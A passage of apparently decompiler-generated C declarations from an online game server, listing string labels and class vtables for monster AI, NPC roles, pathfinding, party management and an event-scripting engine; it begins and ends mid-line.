asc_5AD700[73]; // weak extern char asc_5AD750[]; // idb extern char asc_5AD79C[]; // idb extern char asc_5AD7CC[]; // idb extern char asc_5AD800[]; // idb extern char aMobregenclas_8[]; // idb extern char aMobregenclas_2[]; // idb extern char aMobregencla_25[]; // idb extern char aEventmobregenE[]; // idb extern char aFamilymobman_0[]; // idb extern char aMobregencla_11[]; // idb extern char aFamilymobmanag[]; // idb extern char aMobbreedergr_1[]; // idb extern char aMobbreedergrou[]; // idb extern char aMobregenclas_1[]; // idb extern char aMobregencla_23[]; // idb extern char aMobhatcheryM_2[]; // idb extern char aMobhatcheryM_8[]; // idb extern char aMobregen_1[]; // idb extern char aMobhatcheryM_6[]; // idb extern char aMobhatcheryM_3[]; // idb extern char aMobregengroup[]; // idb extern char a__9dataShin_27[]; // idb extern char a__9dataShine_8[]; // idb extern char aMobhatcheryM_7[]; // idb extern char aMobregencla_12[]; // idb extern char aMobregenclassM[]; // idb extern char aMobhatcheryMh_[]; // idb extern char aNpcdeadlog[]; // idb extern char aMobhatcherylog[]; // idb extern char aHuntinglogMo_2[]; // idb extern char aHuntinglogMo_1[]; // idb extern char aHuntlogMobhunt[]; // idb extern char aHuntinglogMobh[]; // idb extern char asc_5ADD2C[]; // idb extern char aRotate[]; // idb extern char aReturn[]; // idb extern char aShineobject_74[]; // idb extern char aMobroamingMo_2[]; // idb extern char aRoaming[]; // idb extern char aMobroamingMo_3[]; // idb extern char aMobroamingMobr[]; // idb extern char a__9dataShin_42[]; // idb extern char a__9dataShine_3[]; // idb extern char aMobroamingMo_4[]; // idb extern char aScenariobook_0[]; // idb extern char aScenariobook_6[]; // idb extern char aRoamingfile[]; // idb extern char aRoamingdata[]; // idb extern char aMobroamingMo_0[]; // idb extern char a__9dataShine_9[]; // idb extern int (__stdcall *MobTacticElement::MobActionBase::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInMove::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::DuringReturn2Regen::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInChase::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInMove_Cancelable::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionWander::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionTargetting::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionTurning::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionAttack::_vftable_)(MobTacticElement::MobActionAttack *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionChase::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__thiscall *MobTacticElement::MobAction2Region::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionBackStep::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionAvoidOverlap::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionWaitSkillEnd::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionSwingDamage::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionRoaming::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionNoBrain::_vftable_[2])(int argument); // weak extern char aMobtacticel_18[]; // idb extern char aMobtacticel_21[]; // idb extern char aMobtacticeleme[]; // idb extern char aMobtacticele_4[]; // idb extern char aMobtacticele_1[]; // idb extern char aMobtacticele_9[]; // idb extern char aMobtacticele_6[]; // idb extern char aMobtacticel_11[]; // idb extern char aMobtacticele_7[]; // idb extern char aMobtacticele_5[]; // idb extern char aMobtacticel_13[]; // idb extern char aMobtacticel_19[]; // idb extern char aMobtacticel_10[]; // idb extern char aMobtacticel_16[]; // idb extern char aMobtacticel_15[]; // idb extern char aShineobject_85[]; // idb extern char aShineobject_84[]; // idb extern char aShineobject_87[]; // idb extern char aShineobject_86[]; // idb extern char aShineobject_89[]; // idb extern char aShineobject_88[]; // idb extern char aMobtacticel_22[]; // idb extern char aMobtacticele_2[]; // idb extern char aMobtacticel_17[]; // idb extern char aMobtacticel_20[]; // idb extern char aMobtacticele_0[]; // idb extern int (__stdcall *MobTargetBout::_vftable_)(int type, int slot, int distancesquar); // weak extern int (__thiscall *MobTargetAggresive::_vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); // weak extern int (__thiscall *MobTargetAggresive2::_vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); // weak extern int (__stdcall *MobTargetNoBrain::_vftable_)(int type, int slot, int distancesquar); // weak extern int (__stdcall *MobAggroManager::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *SlayerCollect::_vftable_)(int ele, __int16 handle); // weak extern char aMovemanagerM_1[]; // idb extern int (__stdcall *AxialListBriefExchangerAtMove::_vftable_)(#331 *myself, int, int distancesquar); // weak extern int (__stdcall *AxialListBriefDeleteAtMove::_vftable_)(int, int, int distancesquar); // weak extern char aMovemanagerM_4[]; // idb extern char aMovemanagerM_3[]; // idb extern char aMovemanagerM_2[]; // idb extern char aShineobject_30[]; // idb extern char aShineobject_31[]; // idb extern char aShineobject_76[]; // idb extern char asc_5AEA70[]; // idb extern char aG_moveblockche[]; // idb extern char aG_findempty[]; // idb extern char asc_5AEAC4[]; // idb extern char aMovemanagerMm_[]; // idb extern char aShineobject_75[]; // idb extern char asc_5AEB48[]; // idb extern char asc_5AEB78[]; // idb extern int (__stdcall *AxialListNearScanEnemyorAll::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnea_1[46]; // weak extern char aAxiallistnears[]; // idb extern char aNpcrolebaseNrb[]; // idb extern char aShineobject_40[]; // idb extern char aLevellimit[]; // idb extern char aGuild[]; // idb extern char aWeapontitle[]; // idb extern char aItem_1[]; // idb extern char aSkill[]; // idb extern char aWeapon[]; // idb extern char aSoulstone[]; // idb extern char aNpcrole_merc_6[]; // idb extern char aNpcrole_mercha[]; // idb extern char aNpcrole_menu_1[]; // idb extern char aNpcrole_menuop[]; // idb extern char aNpcrole_mer_14[]; // idb extern char aNpcrole_menu_2[]; // idb extern char asc_5AEF38[]; // idb extern char asc_5AEF80[]; // idb extern char asc_5AEFB8[]; // idb extern char asc_5AF000[]; // idb extern char asc_5AF030[]; // idb extern char asc_5AF08C[]; // idb extern char asc_5AF0C8[]; // idb extern char aNpcitemlistI_3[]; // idb extern char aNpcitemlistI_0[]; // idb extern char aNpcitemlistI_2[]; // idb extern char aTDRDCD[]; // idb extern char aNpcitemlistIte[]; // idb extern char aRec[]; // idb extern char aColumn02d[]; // idb extern char aTab02d[]; // idb extern char aNpcitemlistN_1[]; // idb extern char aNpcitemlistN_0[]; // idb extern char aNpcitemlistN_2[]; // idb extern char a__9dataShineNp[]; // idb extern char aNpcitemlistN_4[]; // idb extern char aNpcitemlistNpc[]; // idb extern char aNpcrolebaseN_1[]; // idb extern int (__stdcall *NPCRole_JobManager::_vftable_)(int nLocation, int LocationX, int LocationY); // weak extern int (__stdcall *NPCRole_Portal::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRole_ID_Portal::_vftable_)(#331 *, int npcfunc, __int16 Inv); // weak extern int (__stdcall *NPCRole_StoreManager::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__thiscall *NPCRole_Merchant::_vftable_)(NPCRole_Merchant *this, #440 *, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRoleBase::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRole_MenuOpen::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern char aErrorAtLinktab[]; // idb extern char aNpcmanagerNm_0[]; // idb extern char aNpcmanagerNm_5[]; // idb extern char aIdgate[]; // idb extern char aNpcmenu[]; // idb extern char aGuard[]; // idb extern char aClientmenu[]; // idb extern char aStoremanager[]; // idb extern char aQuestnpc[]; // idb extern char aGate[]; // idb extern char aJobmanager[]; // idb extern char aMerchant[]; // idb extern char aShinenpc[]; // idb extern char aNpcmanagerNm_1[]; // idb extern char a__9dataShin_67[]; // idb extern char a__9dataShin_60[]; // idb extern char aNpcmanagerNm_l[]; // idb extern char aNpcmanagerNm_3[]; // idb extern char aNpcmanagerNm_2[]; // idb extern char aNpcmanagerNm_s[]; // idb extern char aNpcrole_mer_13[]; // idb extern char aNpcrole_merc_3[]; // idb extern char aNpcrole_mer_15[]; // idb extern char aNpcrole_merc_9[]; // idb extern char aNpcrole_merc_0[]; // idb extern char aNpcrole_mer_10[]; // idb extern char aNpcrole_merc_5[]; // idb extern char a__9dataShin_45[]; // idb extern char aMerchantcityda[]; // idb extern char aMerchantcity_1[]; // idb extern char aNotGate[9]; // weak extern char aNpcrolebaseN_2[]; // idb extern char aNpcrole_port_1[]; // idb extern char aNpcrolebaseN_3[]; // idb extern char aNpcrole_port_2[]; // idb extern int (__stdcall *OPToolSession::_vftable_)(int interval); // weak extern char aOptoolobjectOp[]; // idb extern char aZonelistens_22[]; // idb extern char aOptoolsessionO[]; // idb extern char aOptoolsessio_3[]; // idb extern char aOptoolsessio_5[]; // idb extern char aOptoolsessio_1[]; // idb extern char aOptoolsessio_2[]; // idb extern char aOptoolsessio_0[]; // idb extern char aOptoolsessio_7[]; // idb extern char aOptoolsessio_6[]; // idb extern char aSessionWrong[]; // idb extern char aTooLongPacket[]; // idb extern _UNKNOWN unk_5AFAE0; // weak extern char aProtocolpack_2[]; // idb extern char aProtocolpacket[]; // idb extern char aPacketcontaine[]; // idb extern char asc_5AFB5C[]; // idb extern char aPacketcontai_2[]; // idb extern char aProtocolpack_0[]; // idb extern char asc_5AFB9C[]; // idb extern char asc_5AFBD4[]; // idb extern char aToolongpacket[]; // idb extern char aExceptionlog[]; // idb extern char aParameterClust[]; // idb extern char aParameterClu_3[]; // idb extern char aParameterClu_0[]; // idb extern char aParameterClu_1[]; // idb extern char aParameterConta[]; // idb extern char aShinecommonp_4[]; // idb extern char aShinecommon_10[]; // idb extern char aFreestatmentab[]; // idb extern char aShinecommonp_2[]; // idb extern char aShinecommon_11[]; // idb extern char aFreestatdextab[]; // idb extern char aShinecommon_12[]; // idb extern char aShinecommonp_7[]; // idb extern char aFreestatcontab[]; // idb extern char aShinecommonp_9[]; // idb extern char aShinecommon_14[]; // idb extern char aFreestatinttab[]; // idb extern char aShinecommonp_8[]; // idb extern char aShinecommonp_5[]; // idb extern char aFreestatstrtab[]; // idb extern char aStat[]; // idb extern char aShinecommonp_0[]; // idb extern char aShinecommonp_6[]; // idb extern char aStattable[]; // idb extern char aLevel_1[]; // idb extern char aShinecommonp_3[]; // idb extern char aShinecommon_13[]; // idb extern char aMaxbufftime[]; // idb extern char aAddbufftime[]; // idb extern char aIntervaltime[]; // idb extern char aDefaultbonusti[]; // idb extern char aMinneedtime[]; // idb extern char aRestexprate[]; // idb extern char aMaxexpbonus[]; // idb extern char aShoutdelay[]; // idb extern char aAttackspeed[]; // idb extern char aShoutlevel[]; // idb extern char aWalkspeed[]; // idb extern char aArgument[]; // idb extern char aCommon[]; // idb extern char aKey[]; // idb extern char content[]; // idb extern char aPrimaryparamet[]; // idb extern char a__9dataShin_70[]; // idb extern char a__9dataShin_14[]; // idb extern char aShinecommonpar[]; // idb extern char aFillrandomop_1[]; // idb extern char aFillrandomopti[]; // idb extern char asc_5B0250[]; // idb extern char asc_5B0298[]; // idb extern char asc_5B02CC[]; // idb extern char asc_5B0304[]; // idb extern char aTbDDDDDDDDD[]; // idb extern char aThDDDDDDDDD[30]; // weak extern char aAcDDDDDDDDD[30]; // weak extern char aWcmaxDDDDDDDDD[33]; // weak extern char aWcminDDDDDDDDD[33]; // weak extern char aMenDDDDDDDDD[31]; // weak extern char aIntDDDDDDDDD[31]; // weak extern char aDexDDDDDDDDD[31]; // weak extern char aConDDDDDDDDD[31]; // weak extern char aStrDDDDDDDDD[31]; // weak extern char asc_5B0480[]; // idb extern char asc_5B04B0[]; // idb extern char aWorldmanage_68[]; // idb extern char aWorldmanage_67[]; // idb extern char aWorldmanage_69[]; // idb extern char aWorldmanage_70[]; // idb extern char aWorldmanage_71[]; // idb extern char aWorldmanage_72[]; // idb extern char aPartymanufac_9[]; // idb extern char aPartymanufac_0[]; // idb extern char aPartymanufa_12[]; // idb extern char aPartymanufactu[]; // idb extern char aPartymanufa_13[]; // idb extern char aPartymanufac_4[]; // idb extern char aPartymanufa_16[58]; // weak extern char aPartymanufac_8[55]; // weak extern char aPartymanufac_2[]; // idb extern char aPartymanufa_15[]; // idb extern char aPartymanufac_6[]; // idb extern char aPartymanufac_5[]; // idb extern char aPartymanufa_14[]; // idb extern char aPartymanufa_10[]; // idb extern char aPartymanufa_11[]; // idb extern char aPartymanufac_7[]; // idb extern char aPartymanufac_3[]; // idb extern char aRegnumDHndzDHn[]; // idb extern char aPartyMemberD[]; // idb extern char aNullParty[11]; // weak extern char aPartyregnumDCh[]; // idb extern char asc_5B09D8[]; // idb extern char aWorldmanage_73[]; // idb extern char asc_5B0A3C[]; // idb extern char aWorldmanage_74[]; // idb extern char aWorldmanage_76[]; // idb extern char aWorldmanage_75[]; // idb extern char aWorldmanage_78[]; // idb extern char aWorldmanage_77[]; // idb extern char asc_5B0BA0[]; // idb extern char aWorldmanage_80[]; // idb extern char aWorldmanage_79[]; // idb extern char aWorldmanage_82[]; // idb extern char aWorldmanage_81[]; // idb extern char aPathfindtableO[]; // idb extern char aLinearstepLs_s[]; // idb extern int (__thiscall *Tracer::_vftable_)(void *p, char); // weak extern int (__thiscall *LinearStep::_vftable_)(void *p, char); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aLinearstepT_co[]; // idb extern int (__thiscall *CellStack::_vftable_)(void *p, char); // weak extern char aCellstackCs__1[]; // idb extern char aCellstackCs_pu[]; // idb extern char aCellstackT_con[]; // idb extern int (__stdcall *MinWeightSearching::_vftable_)(int ele, __int16 handle); // weak extern char aMinweightsearc[]; // idb extern char aCellstackT_tra[]; // idb extern char aNoPath[]; // idb extern char aCellstackCs_se[]; // idb extern char aLinearstepT_tr[]; // idb extern char aPerformanceche[]; // idb extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_)(void *p, char); // weak extern char aProtocolfunc_1[]; // idb extern char aProtocolfuncti[]; // idb extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[5])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[4])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[3])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[2])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_)(void *p, char); // weak extern int (*PineEventScriptNode::ScriptAtom::_vftable_)(); // weak extern int (__stdcall *PineEventScriptNode::CalculateOperator::_vftable_)(int tr); // weak extern int (__thiscall *PineEventScriptNode::CompareOperator::_vftable_)(PineEventScriptNode::CompareOperator *this, int tr); // weak extern int (__stdcall *PineEventScriptNode::SysFuncBase::_vftable_[26])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncRand::_vftable_[25])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncSQRT::_vftable_[24])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncDistance::_vftable_[23])(int buffer, int x2, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineMobRegen::_vftable_[22])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDoorBuild::_vftable_[21])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineNPCStand::_vftable_[20])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2Mob::_vftable_[19])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2Door::_vftable_[18])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2NPC::_vftable_[17])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCount::_vftable_[16])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRestSecond::_vftable_[15])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCharClass::_vftable_[14])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCharName::_vftable_[13])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDeadNumber::_vftable_[12])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCircularScatter::_vftable_[11])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRemoveFisrt::_vftable_[10])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetObjectList::_vftable_[9])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineKQResultList::_vftable_[8])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineKQTop::_vftable_[7])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDistance::_vftable_[6])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShinePlayerInArea::_vftable_[5])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRange::_vftable_[4])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineIsGateUse::_vftable_[3])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetWinnerGuild::_vftable_[2])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetLoseGuild::_vftable_)(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::String::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Number::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Id::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Identify::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ArgumentList::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Term::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Statement::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::BlockName::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateBreak::_vftable_)(int tr); // weak extern char aFileEndInStrin[19]; // weak extern char aStringOverLine[17]; // weak extern char aTooManyStateme[]; // idb extern char aPinescriptstac[]; // idb extern char aVariableStackO[]; // idb extern int (__stdcall *std::basic_ostream>::_vftable_)(char); // weak extern int (__thiscall *std::basic_ios>::_vftable_)(void *p, char); // weak extern int (__stdcall *std::basic_istream>::_vftable_[2])(char); // weak extern int (__stdcall *std::basic_iostream>::_vftable_)(char); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__thiscall *std::ctype::_vftable_)(void *p, char); // weak extern char aC_1[2]; // idb extern int (__stdcall *PineEventScriptNode::SystemFunction::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Express::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Condition::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateIf::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateCall::_vftable_)(int tr); // weak extern char aMain[5]; // weak extern char aNumberReadFail[17]; // weak extern char aNullVariable[]; // idb extern int (__thiscall *std::basic_streambuf>::_vftable_)(void *p, char); // weak extern int (__thiscall *std::basic_stringbuf_std::allocator>::_vftable_)(void *p, char); // weak extern char Message[]; // idb extern int (__thiscall *std::num_put>>::_vftable_)(void *p, char); // weak extern int (__stdcall *PineEventScriptNode::StatementBaseExpress::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StatePrint::_vftable_)(int tr); // weak extern char command[]; // idb extern char aPineeventsc_75[]; // idb extern char aUnexpectedEof[15]; // weak extern int (__stdcall *std::basic_stringstream_std::allocator>::_vftable_)(char); // weak extern int (__stdcall *PineEventScriptNode::Block::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateVarDeclear::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateInfinite::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateWhile::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StatePermillage::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateAssignment::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::OtherStatement::_vftable_)(int tr); // weak extern char asc_5B138C[2]; // weak extern char asc_5B1390[]; // idb extern char asc_5B1394[]; // idb extern char aPineeventscrip[]; // idb extern char aGetloseguild[]; // idb extern char aGetwinnerguild[]; // idb extern char aIsgateuse[]; // idb extern char aRange[]; // idb extern char aPlayerinarea[]; // idb extern char aDistancebetwee[]; // idb extern char aKqtoplist[]; // idb extern char aKqresultlist[]; // idb extern char aGetobjectlist[]; // idb extern char aRemovefirst[]; // idb extern char aCircularscatte[]; // idb extern char aDeathnum[]; // idb extern char aCharname[]; // idb extern char aCharclass[]; // idb extern char aRestsec[]; // idb extern char aCount[]; // idb extern char aChange2npc[]; // idb extern char aChange2door[]; // idb extern char aChange2mob[]; // idb extern char aNpcstand[]; // idb extern char aDoorbuild[]; // idb extern char aMobregen[]; // idb extern char aRandom[]; // idb extern char aDistance[]; // idb extern char aSquarroot[]; // idb extern char a_[2]; // weak extern char aClose[6]; // weak extern char aOpen[5]; // weak extern char aVarNotInit[]; // idb extern char a_[]; // idb extern char aVar[4]; // weak extern char aInfinite[9]; // weak extern char aWhile[6]; // weak extern char aBreak[6]; // weak extern char aCall[5]; // weak extern char aPermillage[11]; // weak extern char asc_5B1570[2]; // weak extern unsigned __int8 asc_5B1574[]; // idb extern int (__thiscall *PineEventScriptNode::ScriptParameterPaser::_vftable_)(void *p, char); // weak extern char aElse[]; // idb extern char aThen[]; // idb extern char aIf[3]; // weak extern _UNKNOWN std::basic_iostream>::_vbtable_; // weak extern _UNKNOWN std::basic_iostream>::_vbtable_; // weak extern int (__thiscall *std::numpunct::_vftable_)(void *p, char); // weak extern char aTrue[]; // idb extern char aFalse[]; // idb extern int (__stdcall *PineEventScriptNode::Script::_vftable_)(int tr); // weak extern _UNKNOWN std::basic_stringstream_std::allocator>::_vbtable_; // weak extern _UNKNOWN std::basic_stringstream_std::allocator>::_vbtable_; // weak extern char Spec[]; // idb extern char aLu[]; // idb extern char aLd[]; // idb extern char aLu_0[]; // idb extern char aE[2]; // weak extern char aE_0[2]; // weak extern char aP_1[3]; // idb extern char Val[]; // idb extern char aMovieTheaterT_[]; // idb extern int (__stdcall *AxialListMobCounter::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListMobInAreaCounter::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListObjectList::_vftable_)(int, int, int distancesquar); // weak extern char aMovieTheater_4[]; // idb extern char aScriptmobbre_3[]; // idb extern char aScriptmobbre_5[]; // idb extern char aScriptmobbre_2[]; // idb extern char aScriptmobbreed[]; // idb extern char aScriptmobbre_0[]; // idb extern char aScriptmobbre_1[46]; // weak extern char aScriptmobbre_6[]; // idb extern char aPineeventsc_48[]; // idb extern char aPineeventsc_47[]; // idb extern char aPineeventsc_50[]; // idb extern char aPineeventsc_49[]; // idb extern char aPineeventsc_52[]; // idb extern char aPineeventsc_51[]; // idb extern char aPineeventsc_54[]; // idb extern char aPineeventsc_53[]; // idb extern char aPineeventsc_56[]; // idb extern char aPineeventsc_55[]; // idb extern char aPineeventsc_58[]; // idb extern char aPineeventsc_57[]; // idb extern char aPineeventscr_1[]; // idb extern char aAll_0[]; // idb extern char aPlayer[]; // idb extern char aPineeventscr_0[]; // idb extern char aPineeventsc_59[]; // idb extern char aMage[]; // idb extern char aArcher[7]; // weak extern char aCleric[7]; // weak extern char aFighter[8]; // weak extern char aPineeventsc_60[]; // idb extern char aPineeventsc_61[]; // idb extern char aPineeventsc_63[]; // idb extern char aPineeventsc_62[]; // idb extern char aPineeventsc_65[]; // idb extern char aPineeventsc_64[]; // idb extern char aPineeventsc_67[]; // idb extern char aPineeventsc_66[]; // idb extern char aAxiallistobj_2[]; // idb extern char aInvalidFlag[]; // idb extern char aMob[]; // idb extern char aBandit[]; // idb extern char aNpc[]; // idb extern char aInvalidObject[]; // idb extern char aPineeventscr_3[]; // idb extern char aPineeventscr_2[]; // idb extern int (__stdcall *AxialListKQResult::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistkqr_1[]; // idb extern char aAxiallistkqres[]; // idb extern char aAxiallistkqr_0[]; // idb extern char aPineeventsc_72[]; // idb extern char aPineeventsc_71[]; // idb extern char a999999999[]; // idb extern char aPineeventsc_70[]; // idb extern char aPineeventscr_4[]; // idb extern char aNewconditionof[]; // idb extern char aConditionofher[]; // idb extern char aPineeventsc_69[]; // idb extern char aPineeventsc_68[]; // idb extern char aSysfuncshine_2[]; // idb extern char aSysfuncshine_1[]; // idb extern char aSysfuncshineis[]; // idb extern char aNone_1[]; // idb extern char aPineeventsc_73[]; // idb extern char aSysfuncshinege[]; // idb extern char aPineeventsc_74[]; // idb extern char aSysfuncshine_3[]; // idb extern char aPineeventscr_7[]; // idb extern char aShuffle[]; // idb extern char aDesc[]; // idb extern char aAsc[]; // idb extern char aPineeventscr_6[]; // idb extern char aPineeventscr_5[]; // idb extern char aKqrankinglog[]; // idb extern char aPinescriptmobr[]; // idb extern char aPinescriptmo_5[]; // idb extern char aPinescriptmo_1[]; // idb extern char aPinescriptmo_2[]; // idb extern char aGroupindex[]; // idb extern char aPinescriptmo_4[]; // idb extern char aPinescriptmo_0[]; // idb extern char a_none_[]; // idb extern char aMovieTheater_6[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePrintf::_vftable_)(int tr); // weak extern char aPrintf[]; // idb extern int (__stdcall *PineEventScriptNode::ShineScriptFile::_vftable_)(int tr); // weak extern char aScriptfile[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTimeLimit::_vftable_)(int tr); // weak extern char aTimelimit[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptClear::_vftable_)(int tr); // weak extern char aInterruptclear[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptSet::_vftable_)(int tr); // weak extern char aInterruptset_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInterruptErase::_vftable_)(int tr); // weak extern char aInterrupterase[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitInterrupt::_vftable_)(int tr); // weak extern char aWaitinterrupt[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobRegen::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineDoorBuild::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineNPCStand::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2Mob::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2Door::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineChange2NPC::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ShineExchange2Mob::_vftable_)(int tr); // weak extern char aExchange2mob[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDoorOpen::_vftable_)(int tr); // weak extern char aDooropen[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDoorClose::_vftable_)(int tr); // weak extern char aDoorclose[]; // idb extern int (__stdcall *PineEventScriptNode::ShineObjectVanish::_vftable_)(int tr); // weak extern char aVanish[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegenGroup::_vftable_)(int tr); // weak extern char aRegengroup[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitUserLogin::_vftable_)(int tr); // weak extern char aWaitlogin[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePause::_vftable_)(int tr); // weak extern char aPause[]; // idb extern int (__stdcall *PineEventScriptNode::ShineNPCChat::_vftable_)(int tr); // weak extern char aNpcchat[]; // idb extern int (__stdcall *PineEventScriptNode::ShineNPCShout::_vftable_)(int tr); // weak extern char aNpcshout[]; // idb extern int (__stdcall *PineEventScriptNode::ShineChatWindow::_vftable_)(int tr); // weak extern char aChatwin[]; // idb extern int (__stdcall *PineEventScriptNode::ShineChatWindowRange::_vftable_)(int tr); // weak extern char aChatwinrange[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSomeoneShout::_vftable_)(int tr); // weak extern char aSomeoneshout[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSummonMob::_vftable_)(int tr); // weak extern char aSummonmob[]; // idb extern int (__stdcall *PineEventScriptNode::ShineQuestResult::_vftable_)(int tr); // weak extern char aQuestresult[]; // idb extern int (__stdcall *PineEventScriptNode::ShineReward::_vftable_)(int tr); // weak extern char aReward[]; // idb extern int (__stdcall 